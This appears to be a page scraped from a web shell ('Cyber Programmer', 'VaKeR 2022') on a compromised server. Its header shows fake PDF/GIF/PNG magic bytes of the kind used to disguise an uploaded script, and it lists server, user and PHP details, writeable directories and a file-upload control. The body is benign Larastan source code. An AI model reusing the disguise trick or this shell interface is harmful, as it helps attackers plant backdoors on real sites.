%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/nunomaduro/larastan/src/Support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/nunomaduro/larastan/src/Support/ViewFileHelper.php
<?php

declare(strict_types=1);

namespace NunoMaduro\Larastan\Support;

use Generator;
use PHPStan\File\FileHelper;
use RecursiveDirectoryIterator;
use RecursiveIteratorIterator;
use RegexIterator;

use function count;
use function explode;
use function is_dir;
use function iterator_to_array;
use function str_replace;

final class ViewFileHelper
{
    /**
     * @param  list<non-empty-string>  $viewDirectories
     */
    public function __construct(private array $viewDirectories, private FileHelper $fileHelper)
    {
        if (count($viewDirectories) === 0) {
            $this->viewDirectories = [resource_path('views')]; // @phpstan-ignore-line
        }
    }

    public function getAllViewFilePaths(): Generator
    {
        foreach ($this->viewDirectories as $viewDirectory) {
            $absolutePath = $this->fileHelper->absolutizePath($viewDirectory);

            if (! is_dir($absolutePath)) {
                continue;
            }

            $views = iterator_to_array(
                new RegexIterator(
                    new RecursiveIteratorIterator(new RecursiveDirectoryIterator($absolutePath)),
                    '/\.blade\.php$/i'
                )
            );

            foreach ($views as $view) {
                yield $view->getPathname();
            }
        }
    }

    public function getAllViewNames(): Generator
    {
        foreach ($this->viewDirectories as $viewDirectory) {
            $absolutePath = $this->fileHelper->absolutizePath($viewDirectory);

            if (! is_dir($absolutePath)) {
                continue;
            }

            $views = iterator_to_array(
                new RegexIterator(
                    new RecursiveIteratorIterator(new RecursiveDirectoryIterator($absolutePath)),
                    '/\.blade\.php$/i'
                )
            );

            foreach ($views as $view) {
                if (str_contains($view->getPathname(), 'views'.DIRECTORY_SEPARATOR.'vendor') || str_contains($view->getPathname(), 'views'.DIRECTORY_SEPARATOR.'errors')) {
                    continue;
                }

                $viewName = explode($viewDirectory.DIRECTORY_SEPARATOR, $view->getPathname());

                yield str_replace([DIRECTORY_SEPARATOR, '.blade.php'], ['.', ''], $viewName[1]);
            }
        }
    }
}

VaKeR 2022